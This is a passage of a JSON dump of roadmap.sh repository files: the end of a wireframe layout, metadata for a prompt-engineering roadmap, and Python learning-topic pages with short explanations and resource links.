\"x\": \"0\",\n                          \"y\": \"1\",\n                          \"children\": {\n                            \"controls\": {\n                              \"control\": [\n                                {\n                                  \"ID\": \"0\",\n                                  \"typeID\": \"Icon\",\n                                  \"zOrder\": \"0\",\n                                  \"measuredW\": \"24\",\n                                  \"measuredH\": \"24\",\n                                  \"x\": \"0\",\n                                  \"y\": \"0\",\n                                  \"properties\": {\n                                    \"color\": \"16777215\",\n                                    \"icon\": {\n                                      \"ID\": \"circle\",\n                                      \"size\": \"small\"\n                                    }\n                                  }\n                                },\n                                {\n                                  \"ID\": \"1\",\n                                  \"typeID\": \"Icon\",\n                                  \"zOrder\": \"1\",\n                                  \"measuredW\": \"24\",\n                                  \"measuredH\": \"24\",\n                                  \"x\": \"0\",\n                                  \"y\": \"0\",\n                                  \"properties\": {\n                                    \"color\": \"10066329\",\n                                    \"icon\": {\n                                      \"ID\": \"check-circle\",\n                                      \"size\": \"small\"\n                                    }\n                                  }\n                                }\n                              ]\n                            }\n                          }\n                        }\n                      ]\n                    }\n                  }\n                },\n                {\n                  \"ID\": \"3\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"3\",\n                  \"measuredW\": \"291\",\n                  \"measuredH\": \"32\",\n                  \"x\": \"23\",\n                  \"y\": \"27\",\n                  \"properties\": {\n                    \"text\": \"Recommended Resources\",\n                    \"size\": \"24\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10238\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"23\",\n          \"measuredW\": \"361\",\n          \"measuredH\": \"150\",\n          \"w\": \"361\",\n          \"h\": \"150\",\n          \"x\": \"1168\",\n          \"y\": \"239\",\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Canvas\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"361\",\n                  \"h\": \"150\",\n                  \"measuredW\": \"100\",\n                  \"measuredH\": \"70\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"333\",\n                  \"measuredH\": \"26\",\n                  \"x\": \"16\",\n                  \"y\": \"18\",\n                  \"properties\": {\n                    \"size\": \"18\",\n                    \"text\": \"Find the detailed version of this roadmap\"\n                  }\n                },\n                {\n                  \"ID\": \"2\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"2\",\n                  \"measuredW\": \"287\",\n                  \"measuredH\": \"26\",\n                  \"x\": \"16\",\n                  \"y\": \"46\",\n                  \"properties\": {\n                    \"size\": \"18\",\n                    \"text\": \"and more roadmaps with resources\"\n                  }\n                },\n                {\n                  \"ID\": \"3\",\n                  \"typeID\": \"__group__\",\n                  \"zOrder\": \"3\",\n                  \"measuredW\": \"329\",\n                  \"measuredH\": \"51\",\n                  \"w\": \"329\",\n                  \"h\": \"51\",\n                  \"x\": \"16\",\n                  \"y\": \"82\",\n                  \"properties\": {\n                    \"controlName\": \"ext_link:roadmap.sh\"\n                  },\n                  \"children\": {\n                    \"controls\": {\n                      \"control\": [\n                        {\n                          \"ID\": \"0\",\n                          \"typeID\": \"Canvas\",\n                          \"zOrder\": \"0\",\n                          \"w\": \"329\",\n                          \"h\": \"51\",\n                          \"measuredW\": \"100\",\n                          \"measuredH\": \"70\",\n                          \"x\": \"0\",\n                          \"y\": \"0\",\n                          \"properties\": {\n                            \"color\": \"4273622\",\n                            \"borderColor\": \"4273622\"\n                          }\n                        },\n                        {\n                          \"ID\": \"1\",\n                          \"typeID\": \"Label\",\n                          \"zOrder\": \"1\",\n                          \"measuredW\": \"172\",\n                          \"measuredH\": \"28\",\n                          \"x\": \"79\",\n                          \"y\": \"12\",\n                          \"properties\": {\n                            \"color\": \"16777215\",\n                            \"size\": \"20\",\n                            \"text\": \"https://roadmap.sh\"\n                          }\n                        }\n                      ]\n                    }\n                  }\n                }\n              ]\n            }\n          }\n        }\n      ]\n    },\n    \"attributes\": {\n      \"name\": \"New Wireframe 1 copy\",\n      \"order\": 1000010.2336643032,\n      \"parentID\": null,\n      \"notes\": \"\"\n    },\n    \"branchID\": \"Master\",\n    \"resourceID\": \"D5E1AC09-3023-4145-A52A-4D904363A065\",\n    \"mockupH\": \"2339\",\n    \"mockupW\": \"1390\",\n    \"measuredW\": \"1529\",\n    \"measuredH\": \"2554\",\n    \"version\": \"1.0\"\n  },\n  \"groupOffset\": {\n    \"x\": 0,\n    \"y\": 0\n  },\n  \"dependencies\": [],\n  \"projectID\": \"file:///Users/kamrify/Desktop/New%20Roadmaps/New%20Project%201.bmpr\"\n}"
  },
  {
    "path": "src/data/roadmaps/prompt-engineering/prompt-engineering.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/prompt-engineering.json'\npdfUrl: '/pdfs/roadmaps/prompt-engineering.pdf'\norder: 14\nrenderer: editor\nbriefTitle: 'Prompt Engineering'\nbriefDescription: 'Step by step guide to learning Prompt Engineering'\ntitle: 'Prompt Engineering Roadmap'\ndescription: 'Step by step guide to learning Prompt Engineering'\nhasTopics: true\ndimensions:\n  width: 968\n  height: 2150\nschema:\n  headline: 'Prompt Engineering Roadmap'\n  description: 'Learn how to use Prompt Engineering with this interactive step by step guide. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/prompt-engineering.png'\n  datePublished: '2023-05-20'\n  dateModified: '2023-05-20'\nseo:\n  title: 'Prompt Engineering Roadmap'\n  description: 'Step by step guide to learn Prompt Engineering. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  keywords:\n    - 'prompt engineering tutorial'\n    - 'step by step prompt engineering'\n    - 'prompt engineering roadmap 2024'\n    - 'prompt engineering roadmap 2025'\n    - 'guide to learning prompt engineering'\n    - 'prompt engineering'\n    - 'prompt engineering engineer'\n    - 'prompt engineering skills'\n    - 'prompt engineering development'\n    - 'prompt engineering development skills'\n    - 'prompt engineering development skills test'\n    - 'prompt engineering engineer roadmap'\n    - 'prompt engineering roadmap'\n    - 'become a prompt engineering'\n    - 'prompt engineering career path'\n    - 'learn prompt engineering development'\n    - 'what is prompt engineering'\n    - 'prompt engineering quiz'\n    - 'prompt engineering interview questions'\nrelatedRoadmaps:\n  - 'ai-engineer'\n  - 'ai-agents'\n  - 'ai-data-scientist'\n  - 'data-analyst'\n  - 'mlops'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/python/content/aiohttp@IBVAvFtN4mnIPbIuyUvEb.md",
    "content": "# AIOHTTP\n\naiohttp is a Python 3.5+ library that provides a simple and powerful asynchronous HTTP client and server implementation.\n\nVisit the following resources to learn more:\n\n- [@official@aiohttp docs](https://docs.aiohttp.org/en/stable/)\n- [@article@Creating a RESTful API with Python and aiohttp](https://tutorialedge.net/python/create-rest-api-python-aiohttp/)\n- [@video@Python Asyncio, Requests, Aiohttp | Make faster API Calls](https://www.youtube.com/watch?v=nFn4_nA_yk8)"
  },
  {
    "path": "src/data/roadmaps/python/content/arrays-and-linked-lists@OPD4WdMO7q4gRZMcRCQh1.md",
    "content": "# Arrays and Linked lists\n\nArrays store elements in contiguous memory locations, resulting in easily calculable addresses for the elements stored and this allows faster access to an element at a specific index. Linked lists are less rigid in their storage structure and elements are usually not stored in contiguous locations, hence they need to be stored with additional tags giving a reference to the next element. This difference in the data storage scheme decides which data structure would be more suitable for a given situation.\n\nVisit the following resources to learn more:\n\n- [@article@Arrays in Python](https://www.edureka.co/blog/arrays-in-python/)\n- [@article@Linked List Python](https://realpython.com/linked-lists-python/)\n- [@video@Array Data Structure | Illustrated Data Structures](https://www.youtube.com/watch?v=QJNwK2uJyGs)\n- [@video@Linked List Data Structure | Illustrated Data Structures](https://www.youtube.com/watch?v=odW9FU8jPRQ)"
  },
  {
    "path": "src/data/roadmaps/python/content/arrays-and-linked-lists@kIuns7FOwapwtFLKo1phQ.md",
    "content": "# Arrays and Linked lists\n\nArrays store elements in contiguous memory locations, resulting in easily calculable addresses for the elements stored and this allows faster access to an element at a specific index. Linked lists are less rigid in their storage structure and elements are usually not stored in contiguous locations, hence they need to be stored with additional tags giving a reference to the next element. This difference in the data storage scheme decides which data structure would be more suitable for a given situation.\n\nVisit the following resources to learn more:\n\n- [@article@Arrays in Python](https://www.edureka.co/blog/arrays-in-python/)\n- [@article@Linked List Python](https://realpython.com/linked-lists-python/)\n- [@video@Array Data Structure | Illustrated Data Structures](https://www.youtube.com/watch?v=QJNwK2uJyGs)\n- [@video@Linked List Data Structure | Illustrated Data Structures](https://www.youtube.com/watch?v=odW9FU8jPRQ)\n"
  },
  {
    "path": "src/data/roadmaps/python/content/asynchrony@Mow7RvropbC4ZGDpcGZmw.md",
    "content": "# Asynchrony\n\nAsynchronous programming, supported by asyncio, allows code to be executed without blocking, using async and await. This is especially useful for I/O tasks such as networking or file manipulation, allowing thousands of connections to be handled without blocking the main thread.\n\nVisit the following resources to learn more:\n\n- [@official@Python AsyncIO library](https://docs.python.org/3/library/asyncio.html)\n- [@article@Async IO in Python: A Complete Walkthrough](https://realpython.com/async-io-python/)"
  },
  {
    "path": "src/data/roadmaps/python/content/basic-syntax@6xRncUs3_vxVbDur567QA.md",
    "content": "# Basic Syntax\n\nSetup the environment for python and get started with the basics.\n\nVisit the following resources to learn more:\n\n- [@article@Python Basics](https://www.tutorialspoint.com/python/python_basic_syntax.htm)\n- [@article@Learn X in Y Minutes / Python](https://learnxinyminutes.com/docs/python/)\n- [@video@Python for Beginners - Learn Python in 1 Hour](https://www.youtube.com/watch?v=kqtD5dpn9C8)"
  },
  {
    "path": "src/data/roadmaps/python/content/binary-search-tree@7NZlydjm4432vLY1InBS7.md",
    "content": "# Binary Search Trees\n\nA binary search tree, also called an ordered or sorted binary tree, is a rooted binary tree data structure with the key of each internal node being greater than all the keys in the respective node's left subtree and less than the ones in its right subtree\n\nVisit the following resources to learn more:\n\n- [@video@Tree Data Structure | Illustrated Data Structures](https://www.youtube.com/watch?v=S2W3SXGPVyU)\n- [@article@How to Implement Binary Search Tree in Python](https://web.archive.org/web/20230601181553/https://www.section.io/engineering-education/implementing-binary-search-tree-using-python/)\n- [@article@Binary Search Tree in Python](https://www.pythonforbeginners.com/data-structures/binary-search-tree-in-python)\n"
  },
  {
    "path": "src/data/roadmaps/python/content/binary-search-tree@uJIqgsqUbE62Tyo3K75Qx.md",
    "content": "# Binary Search Trees\n\nA binary search tree, also called an ordered or sorted binary tree, is a rooted binary tree data structure with the key of each internal node being greater than all the keys in the respective node's left subtree and less than the ones in its right subtree\n\nVisit the following resources to learn more:\n\n- [@article@Binary search in Python 101: Implementation and use cases](https://roadmap.sh/python/binary-search)\n- [@article@How to Implement Binary Search Tree in Python](https://web.archive.org/web/20230601181553/https://www.section.io/engineering-education/implementing-binary-search-tree-using-python/)\n- [@article@Binary Search Tree in Python](https://www.pythonforbeginners.com/data-structures/binary-search-tree-in-python)\n- [@video@Tree Data Structure | Illustrated Data Structures](https://www.youtube.com/watch?v=S2W3SXGPVyU)"
  },
  {
    "path": "src/data/roadmaps/python/content/black@DS6nuAUhUYcqiJDmQisKM.md",
    "content": "# black\n\nBlack is a python code formatter that automatically formats code according to a consistent style. By removing formatting decisions from developers, Black helps maintain uniform codebases, improves readability, and reduces time spent on style discussions during code reviews.\n\nVisit the following resources to learn more:\n\n- [@official@Getting Started with Black](https://black.readthedocs.io/en/stable/getting_started.html)\n- [@official@Black Documentation](https://black.readthedocs.io/en/stable/)"
  },
  {
    "path": "src/data/roadmaps/python/content/builtin@08XifLQ20c4FKI_4AWNBQ.md",
    "content": "# Builtin Modules\n\nPython has a rich standard library of built-in modules that provide a wide range of functionality. Some of the most commonly used built-in modules include: sys, os, math, datetime, random, re, itertools, etc.\n\nVisit the following resources to learn more:\n\n- [@official@Python Module Index](https://docs.python.org/3/py-modindex.html)\n- [@article@Python Modules](https://www.digitalocean.com/community/tutorials/python-modules)\n- [@article@Python - Built-In Modules](https://www.knowledgehut.com/tutorials/python-tutorial/python-built-in-modules)"
  },
  {
    "path": "src/data/roadmaps/python/content/classes@AqwzR8dZKLQIoj_6KKZ3t.md",
    "content": "# Classes\n\nA class is a user-defined blueprint or prototype from which objects are created. Classes provide a means of bundling data and functionality together. Creating a new class creates a new type of object, allowing new instances of that type to be made. Each class instance can have attributes attached to it for maintaining its state. Class instances can also have methods (defined by their class) for modifying their state.\n\nVisit the following resources to learn more:\n\n- [@official@Classes in Python](https://docs.python.org/3/tutorial/classes.html)\n- [@video@Python OOP Tutorial](https://www.youtube.com/watch?v=ZDa-Z5JzLYM&list=PL-osiE80TeTsqhIuOqKhwlXsIBIdSeYtc)"
  },
  {
    "path": "src/data/roadmaps/python/content/code-formatting@0F0ppU_ClIUKZ23Q6BVZp.md",
    "content": "# Code Formatting\n\nPython code formatting is crucial for maintaining readability, consistency, and reducing errors. Black is a code formatter for Python. It is a tool that automatically formats Python code to adhere to the PEP 8 style guide. It is a great tool to use in your Python projects to ensure that your code is formatted consistently and correctly.\n\nVisit the following resources to learn more:\n\n- [@official@Pylint for Python](https://www.pylint.org/)\n- [@official@Black Documentation](https://black.readthedocs.io/en/stable/)"
  },
  {
    "path": "src/data/roadmaps/python/content/common-packages@_94NrQ3quc4t_PPOsFSN0.md",
    "content": "# Common Packages and Modules\n\nPython has a rich ecosystem of packages and modules that can be used to get the most out of the language. A package is essentially a directory that contains multiple modules and subpackages. A module is a single file that contains a collection of related functions, classes, and variables. Modules are the basic building blocks of Python code organization. A module can be thought of as a container that holds a set of related code.\n\nVisit the following resources to learn more:\n\n- [@official@requests](https://docs.python-requests.org/en/latest/)\n- [@official@pathlib](https://docs.python.org/3/library/pathlib.html)\n- [@official@asyncio](https://docs.python.org/3/library/asyncio.html)\n- [@official@dataclasses](https://docs.python.org/3/library/dataclasses.html)\n- [@official@python-dotenv](https://pypi.org/project/python-dotenv/)\n- [@official@numpy](https://numpy.org/doc/stable/)\n- [@official@pandas](https://pandas.pydata.org/docs/)"
  },
  {
    "path": "src/data/roadmaps/python/content/concurrency@u4nRzWQ4zhDFMOrZ2I_uJ.md",
    "content": "# Concurrency\n\nConcurrency in Python allows multiple tasks to be executed simultaneously using different approaches. GIL (Global Interpreter Lock) limits thread execution, making multithreading less efficient for computational tasks, but suitable for I/O. Multiprocessing, using the multiprocessing module, allows multiple cores to be utilized, providing true parallelism. Asynchrony via asyncio is optimal for I/O operations, allowing thousands of connections to be processed simultaneously without blocking. The choice of approach depends on the nature of the task.\n\nVisit the following resources to learn more:\n\n- [@official@Concurrent Execution](https://docs.python.org/3/library/concurrency.html)\n- [@article@Python Concurrency](https://realpython.com/python-concurrency/)"
  },
  {
    "path": "src/data/roadmaps/python/content/conda@uh67D1u-Iv5cZamRgFEJg.md",
    "content": "# Conda\n\nConda is an open source package management system and environment management system that runs on Windows, macOS, and Linux. Conda quickly installs, runs and updates packages and their dependencies. Conda easily creates, saves, loads and switches between environments on your local computer. It was created for Python programs, but it can package and distribute software for any language.\n\nVisit the following resources to learn more:\n\n- [@official@Conda Documentation](https://docs.conda.io/en/latest/)"
  },
  {
    "path": "src/data/roadmaps/python/content/conditionals@NP1kjSk0ujU0Gx-ajNHlR.md",
    "content": "# Conditionals\n\nConditional Statements in Python perform different actions depending on whether a specific condition evaluates to true or false. Conditional Statements are handled by _if-elif-else_ statements and MATCH-CASE statements in Python.\n\nVisit the following resources to learn more:\n\n- [@article@Conditional Statements in Python](https://realpython.com/python-conditional-statements/)\n- [@article@Python Conditional Statements](https://www.guru99.com/if-loop-python-conditional-structures.html)\n- [@article@Python Switch Statement 101: Match-case and alternatives](https://roadmap.sh/python/switch)\n- [@article@How to Use a Match Statement in Python](https://learnpython.com/blog/python-match-case-statement/)"
  },
  {
    "path": "src/data/roadmaps/python/content/context-manager@KAXF2kUAOvtBZhY8G9rkI.md",
    "content": "# Context Manager\n\nContext Managers are a construct in Python that allows you to set up context for a block of code, and then automatically clean up or release resources when the block is exited. It is most commonly used with the `with` statement.\n\nVisit the following resources to learn more:\n\n- [@official@Context Libraries](https://docs.python.org/3/library/contextlib.html)\n- [@article@Context Managers in Python](https://www.freecodecamp.org/news/context-managers-in-python/)\n- [@article@Context Managers](https://book.pythontips.com/en/latest/context_managers.html)"
  },
  {
    "path": "src/data/roadmaps/python/content/custom@l7k0qTYe42wYBTlT2-1cy.md",
    "content": "# Custom Modules\n\nModules refer to a file containing Python statements and definitions. A file containing Python code, for example: `example.py`, is called a module, and its module name would be example. We use modules to break down large programs into small manageable and organized files. Furthermore, modules provide reusability of code.\n\nVisit the following resources to learn more:\n\n- [@official@Python Modules](https://docs.python.org/3/tutorial/modules.html)\n- [@article@Modules in Python](https://www.programiz.com/python-programming/modules)\n- [@article@Python Modules and Packages](https://realpython.com/python-modules-packages/)"
  },
  {
    "path": "src/data/roadmaps/python/content/data-structures--algorithms@VJSIbYJcy2MC6MOFBrqXi.md",
    "content": "# Data Structures and Algorithms\n\nA data structure is a named location that can be used to store and organize data. And, an algorithm is a collection of steps to solve a particular problem. Learning data structures and algorithms allow us to write efficient and optimized computer programs.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated DSA Roadmap](https://roadmap.sh/datastructures-and-algorithms)\n- [@article@Learn DS & Algorithms](https://www.programiz.com/dsa)\n- [@video@Data Structures Illustrated](https://www.youtube.com/playlist?list=PLkZYeFmDuaN2-KUIv-mvbjfKszIGJ4FaY)\n- [@video@DSA Python Playlist](https://www.youtube.com/playlist?list=PLKYEe2WisBTFEr6laH5bR2J19j7sl5O8R)\n- [@feed@Explore top posts about Algorithms](https://app.daily.dev/tags/algorithms?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/python/content/decorators@pIluLJkySqn_gI_GykV6G.md",
    "content": "# Decorators\n\nDecorator is a design pattern in Python that allows a user to add new functionality to an existing object without modifying its structure. Decorators are usually called before the definition of a function you want to decorate.\n\nVisit the following resources to learn more:\n\n- [@article@Learn Decorators in Python](https://pythonbasics.org/decorators/)\n- [@article@Python Decorators](https://www.datacamp.com/tutorial/decorators-python)\n- [@video@Decorators in Python](https://www.youtube.com/watch?v=FXUUSfJO_J4)\n- [@video@Python Decorators in 1 Minute](https://www.youtube.com/watch?v=BE-L7xu8pO4)"
  },
  {
    "path": "src/data/roadmaps/python/content/dictionaries@bc9CL_HMT-R6nXO1eR-gP.md",
    "content": "# Dictionaries\n\nIn Python, a dictionary is a built-in data type that allows you to store key-value pairs. Each key in the dictionary is unique, and each key is associated with a value. Starting from Python 3.7, dictionaries maintain the order of items as they were added.\n\nVisit the following resources to learn more:\n\n- [@official@Dictionaries in Python](https://docs.python.org/3/tutorial/datastructures.html#dictionaries)\n- [@article@Dictionaries in Python](https://realpython.com/python-dicts/)\n- [@article@Hashmaps in Python: Master Implementation and Use Cases](https://roadmap.sh/python/hashmap)"
  },
  {
    "path": "src/data/roadmaps/python/content/django@x1V8GjdjANTnhP6YXMbgC.md",
    "content": "# Django\n\nDjango is a free and open-source, Python-based web framework that follows the model–template–views architectural pattern. It is maintained by the Django Software Foundation, an independent organization established in the US as a 501 non-profit\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Django Roadmap](https://roadmap.sh/django)\n- [@official@Django Website](https://www.djangoproject.com/)\n- [@official@Getting Started](https://www.djangoproject.com/start/)\n- [@article@Is Django Synchronous or Asynchronous?](https://stackoverflow.com/questions/58548089/django-is-synchronous-or-asynchronous)\n- [@video@Python Django Tutorial for Beginners](https://www.youtube.com/watch?v=rHux0gMZ3Eg)\n- [@feed@Explore top posts about Django](https://app.daily.dev/tags/django?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/python/content/doctest@aVclygxoA9ePU5IxaORSH.md",
    "content": "# Doctest\n\nPython’s standard library comes equipped with a test framework module called doctest. The doctest module programmatically searches Python code for pieces of text within comments that look like interactive Python sessions. Then, the module executes those sessions to confirm that the code referenced by a doctest runs as expected.\n\nVisit the following resources to learn more:\n\n- [@official@Doctest Module](https://docs.python.org/3/library/doctest.html)\n- [@article@How To Write Doctests in Python](https://www.digitalocean.com/community/tutorials/how-to-write-doctests-in-python)"
  },
  {
    "path": "src/data/roadmaps/python/content/encapsulation@3dC2o3WXdx4plFhDP2Vqk.md",
    "content": "# Encapsulation\n\nEncapsulation is a way to bundle data (attributes) and the methods that operate on that data into a single unit, known as a class. It restricts direct access to some of the object's components and prevents the accidental modification of data. This is achieved by declaring some attributes or methods as private, meaning they can only be accessed from within the class itself.\n\nVisit the following resources to learn more:\n\n- [@article@Encapsulation in Python: All You Need to Know](https://roadmap.sh/python/encapsulation)\n- [@article@Encapsulation in Python: A Comprehensive Guide](https://www.datacamp.com/tutorial/encapsulation-in-python-object-oriented-programming)\n- [@article@Encapsulation](https://programming-25.mooc.fi/part-9/3-encapsulation)\n- [@video@Encapsulation - Advanced Python Tutorial #5](https://www.youtube.com/watch?v=dzmYoSzL8ok)"
  },
  {
    "path": "src/data/roadmaps/python/content/exceptions@fNTb9y3zs1HPYclAmu_Wv.md",
    "content": "# Exceptions\n\nExceptions are runtime errors that occur during program execution in Python. Instead of immediately stopping the program, Python allows developers to handle these errors using `try`, `except`, `else`, and `finally` blocks. Proper exception handling helps manage unexpected situations such as invalid input, missing files, or network failures, improving program reliability and allowing applications to fail gracefully.\n\nVisit the following resources to learn more:\n\n- [@official@Exceptions Documentation](https://docs.python.org/3/tutorial/errors.html#exceptions)\n- [@article@Python Exceptions: An Introduction](https://realpython.com/python-exceptions/)\n- [@article@Errors and Exceptions](https://docs.python.org/3/tutorial/errors.html)\n- [@article@Python Exception Handling](https://www.programiz.com/python-programming/exception-handling)\n- [@video@Exception Handling in Python](https://www.youtube.com/watch?v=V_NXT2-QIlE)"
  },
  {
    "path": "src/data/roadmaps/python/content/fast-api@XeQSmvAsGSTi8dd7QVHxn.md",
    "content": "# FastAPI\n\nFastAPI is a modern Python web framework used for building APIs with high performance and automatic documentation. It leverages Python type hints for request validation, serialization, and editor support, making API development faster and less error-prone. FastAPI is commonly used for backend services, microservices, and machine learning model deployment due to its speed and ease of use.\n\nVisit the following resources to learn more:\n\n- [@official@FastAPI Documentation](https://fastapi.tiangolo.com/)\n- [@video@Create an API with Fast-API (Full 19 Hour Course)](https://www.youtube.com/watch?v=0sOvCWFmrtA)\n- [@feed@Explore top posts about FastAPI](https://app.daily.dev/tags/fastapi?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/python/content/file-handling@Nf3kRDSl_vas6QPXG7eVa.md",
    "content": "# File Handling in Python\n\nFile handling in Python involves reading data from and writing data to files. It allows programs to interact with files stored on a computer's storage. You can open files in different modes like read, write, or append, and then perform operations like reading the entire file content, reading line by line, or writing new data. A common use case is working with structured data, and Python provides built-in modules like `json` to easily read and write data in JSON format, which is frequently used for data exchange.\n\nVisit the following resources to learn more:\n\n- [@article@Pyhton File open](https://www.w3schools.com/python/python_file_handling.asp)\n- [@article@Working With Files in Python](https://realpython.com/working-with-files-in-python/)\n- [@article@Python JSON](https://www.w3schools.com/python/python_json.asp)\n- [@article@Working With JSON Data in Python](https://realpython.com/python-json/)\n- [@video@Python File Handling for Beginners](https://www.youtube.com/watch?v=BRrem1k3904)\n- [@video@Python Tutorial: Working with JSON Data using the json Module](https://www.youtube.com/watch?v=9N6a-VLBa2I)"
  },
  {
    "path": "src/data/roadmaps/python/content/flask@HKsGyRzntjh1UbRZSWh_4.md",
    "content": "# Flask\n\nFlask is a micro web framework written in Python. It is classified as a microframework because it does not require particular tools or libraries. It has no database abstraction layer, form validation, or any other components where pre-existing third-party libraries provide common functions. Instead, it provides flexibility by requiring you to choose and integrate the best libraries for your project's needs.\n\nVisit the following resources to learn more:\n\n- [@official@Flask Website](https://flask.palletsprojects.com/)\n- [@official@Flask Tutorial](https://flask.palletsprojects.com/en/3.0.x/tutorial/)\n- [@feed@Explore top posts about Flask](https://app.daily.dev/tags/flask?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/python/content/functions-builtin-functions@-DJgS6l2qngfwurExlmmT.md",
    "content": "# Functions\n\nIn programming, a function is a reusable block of code that executes a certain functionality when it is called. Functions are integral parts of every programming language because they help make your code more modular and reusable. In Python, we define a function with the `def` keyword, then write the function identifier (name) followed by parentheses and a colon.\n\nExample\n-------\n\n    def greet(name):\n        print(f\"Hello, {name}!\")\n    \n    \n    greet(\"Roadmap.sh\")\n\nVisit the following resources to learn more:\n\n- [@official@Built-in Functions in Python](https://docs.python.org/3/library/functions.html)\n- [@article@Defining Python Functions](https://realpython.com/defining-your-own-python-function/)"
  },
  {
    "path": "src/data/roadmaps/python/content/generator-expressions@jnLIVRrWxcX3yq3Op91Vr.md",
    "content": "# Generator Expressions\n\nGenerator expressions are a concise way to create a generator using a single line of code in Python. They are similar to list comprehensions, but instead of creating a list, they create a generator object that produces the values on-demand, as they are needed. Generator expressions are a useful tool for efficiently producing large sequence of values, as they allow you to create the generator without creating the entire sequence in memory at once. This tends to use less memory, especially for large sequences.\n\nVisit the following resources to learn more:\n\n- [@official@Python Official Documentation on Generator Expressions](https://docs.python.org/3/tutorial/classes.html#generator-expressions)\n- [@article@Python Generator Expressions](https://www.pythontutorial.net/advanced-python/python-generator-expressions/)\n- [@article@List Comprehensions in Python and Generator Expressions](https://djangostars.com/blog/list-comprehensions-and-generator-expressions/)"
  },
  {
    "path": "src/data/roadmaps/python/content/gevent@InUJIGmTnf0X4cSoLuCEQ.md",
    "content": "# gevent\n\ngevent is a Python library that provides a high-level interface to the event loop. It is based on non-blocking IO (libevent/libev) and lightweight greenlets. Non-blocking IO means requests waiting for network IO won't block other requests; greenlets mean we can continue to write code in synchronous style.\n\nVisit the following resources to learn more:\n\n- [@official@gevent Website](http://www.gevent.org/)\n- [@opensource@gevent/gevent](https://github.com/gevent/gevent)\n- [@article@gevent For the Working Python Developer](https://sdiehl.github.io/gevent-tutorial/)"
  },
  {
    "path": "src/data/roadmaps/python/content/gil@bS7WeVKm2kEElu3sBKcIC.md",
    "content": "# GIL\n\nGIL is a mechanism that allows only one thread to execute Python code at a time. This limitation is related to memory management in CPython and can reduce the efficiency of multithreaded applications on multi-core systems.\n\nVisit the following resources to learn more:\n\n- [@article@What is GIL?](https://realpython.com/python-gil/)"
  },
  {
    "path": "src/data/roadmaps/python/content/hash-tables@0-m8jVuDKE8hX1QorKGTM.md",
    "content": "# Hash Tables\n\nHash Table, Map, HashMap, Dictionary or Associative are all the names of the same data structure. It is a data structure that implements a set abstract data type, a structure that can map keys to values.\n\nVisit the following resources to learn more:\n\n- [@article@Build a Hash Table in Python](https://realpython.com/python-hash-table/)\n- [@article@Hash Tables and Hashmaps in Python](https://www.edureka.co/blog/hash-tables-and-hashmaps-in-python/)\n- [@video@Hash Table Data Structure | Illustrated Data Structures](https://www.youtube.com/watch?v=jalSiaIi8j4)\n"
  },
  {
    "path": "src/data/roadmaps/python/content/hash-tables@DG4fi1e5ec2BVckPLsTJS.md",
    "content": "# HashMaps\n\nHashMap, HashTable, Map, Dictionary, or Associative are all the names of the same data structure. It is a data structure that implements a set abstract data type, a structure that can map keys to values.\n\nVisit the following resources to learn more:\n\n- [@article@Hashmaps in Python: Master Implementation and Use Cases](https://roadmap.sh/python/hashmap)\n- [@article@Build a Hash Table in Python](https://realpython.com/python-hash-table/)\n- [@article@Hash Tables and Hashmaps in Python](https://www.edureka.co/blog/hash-tables-and-hashmaps-in-python/)\n- [@video@Hash Table Data Structure | Illustrated Data Structures](https://www.youtube.com/watch?v=jalSiaIi8j4)"
  },
  {
    "path": "src/data/roadmaps/python/content/hashmaps@DG4fi1e5ec2BVckPLsTJS.md",
    "content": "# HashMaps\n\nHashMap, HashTable, Map, Dictionary, or Associative are all the names of the same data structure. It is a data structure that implements a set abstract data type, a structure that can map keys to values.\n\nVisit the following resources to learn more:\n\n- [@article@Hashmaps in Python: Master Implementation and Use Cases](https://roadmap.sh/python/hashmap)\n- [@article@Build a Hash Table in Python](https://realpython.com/python-hash-table/)\n- [@article@Hash Tables and Hashmaps in Python](https://www.edureka.co/blog/hash-tables-and-hashmaps-in-python/)\n- [@video@Hash Table Data Structure | Illustrated Data Structures](https://www.youtube.com/watch?v=jalSiaIi8j4)"
  },
  {
    "path": "src/data/roadmaps/python/content/heaps-stacks-and-queues@0NlRczh6ZEaFLlT6LORWz.md",
    "content": "# Heaps Stacks and Queues\n\n**Stacks:** Operations are performed LIFO (last in, first out), which means that the last element added will be the first one removed. A stack can be implemented using an array or a linked list. If the stack runs out of memory, it’s called a stack overflow.\n\n**Queue:** Operations are performed FIFO (first in, first out), which means that the first element added will be the first one removed. A queue can be implemented using an array.\n\n**Heap:** A tree-based data structure in which the value of a parent node is ordered in a certain way with respect to the value of its child node(s). A heap can be either a min heap (the value of a parent node is less than or equal to the value of its children) or a max heap (the value of a parent node is greater than or equal to the value of its children).\n\nVisit the following resources to learn more:\n\n- [@article@Heaps, Stacks, Queues](https://stephanosterburg.gitbook.io/scrapbook/coding/coding-interview/data-structures/heaps-stacks-queues)\n- [@article@How to Implement Python Stack?](https://realpython.com/how-to-implement-python-stack/)\n- [@article@Python Stacks, Queues, and Priority Queues in Practice](https://realpython.com/queue-in-python/)\n- [@article@Heap Implementation in Python](https://www.educative.io/answers/heap-implementation-in-python)\n- [@video@Stack Data Structure | Illustrated Data Structures](https://www.youtube.com/watch?v=I5lq6sCuABE)\n- [@video@Queue Data Structure | Illustrated Data Structures](https://www.youtube.com/watch?v=mDCi1lXd9hc)"
  },
  {
